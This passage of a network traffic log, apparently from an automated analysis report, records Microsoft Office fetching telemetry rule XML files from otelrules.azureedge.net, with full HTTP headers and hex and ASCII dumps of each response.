3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49892	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:11 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:11 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:11 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f5f98d55-001e-0049-58e4-215bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065111Z-16849878b78q4pnrt955f8nkx8000000078g000000005grb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:11 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49896	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:12 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:12 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:12 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 02da5d6a-901e-0064-7bf4-24e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065112Z-r197bdfb6b4vlqfn9hfre6k1s80000000c7g000000002ah3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:12 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49895	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:12 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:12 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: e1e0bfc6-201e-006e-0e0b-22bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065112Z-16849878b784cpcc2dr9ch74ng00000007gg00000000202y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:12 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49894	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:12 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:12 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: e014a2e3-501e-0035-060b-22c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065112Z-16849878b78fmrkt2ukpvh9wh400000007d0000000000we5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49897	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:12 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:12 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9b3a7460-601e-003e-70a8-243248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065112Z-15b8d89586fnsf5zm1ryrxu0bc00000002vg000000006v79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49898	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:12 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:12 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 9a8cc640-601e-0032-1ef5-24eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065112Z-15b8d89586f989rks44whx5v7s0000000dr000000000ct3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49899	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:13 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:13 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:13 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: f9013c52-001e-0079-5ef2-2412e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065113Z-15b8d89586fvk4kmwqg9fgbkn8000000030g00000000173q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:13 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49900	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:13 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:13 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:13 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: efa6dde7-e01e-0071-750c-2208e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065113Z-16849878b7877w64p2ge9s25rg00000000u000000000bkkq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49901	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:13 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:13 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:13 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: ada57496-d01e-005a-4ff2-247fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065113Z-r197bdfb6b4vlqfn9hfre6k1s80000000c8g000000000b8b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:13 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49902	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:13 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:13 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:13 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 474bc074-b01e-0002-67b0-201b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065113Z-16849878b789m94j7902zfvfr0000000074000000000hnz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:13 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49903	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:13 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:51:13 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:51:13 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 8b373834-501e-008c-26e4-21cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065113Z-16849878b7862vlcc7m66axrs000000007bg000000008xk3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:51:13 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49905	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:51:14 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
